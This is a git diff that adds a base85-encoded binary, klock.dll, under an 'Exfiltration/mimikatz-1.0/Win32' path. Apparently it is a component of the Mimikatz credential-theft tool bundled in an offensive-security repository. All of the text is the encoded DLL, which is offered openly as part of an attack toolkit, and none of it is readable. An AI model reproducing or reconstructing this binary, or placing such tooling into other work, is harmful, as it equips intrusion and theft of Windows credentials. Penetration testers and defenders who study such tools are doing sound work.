--git a/Exfiltration/mimikatz-1.0/Win32/klock.dll b/Exfiltration/mimikatz-1.0/Win32/klock.dll new file mode 100644 index 0000000000000000000000000000000000000000..d78b442d5a861b2a7f21430f4f1569b7904a8d1b GIT binary patch literal 133120 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 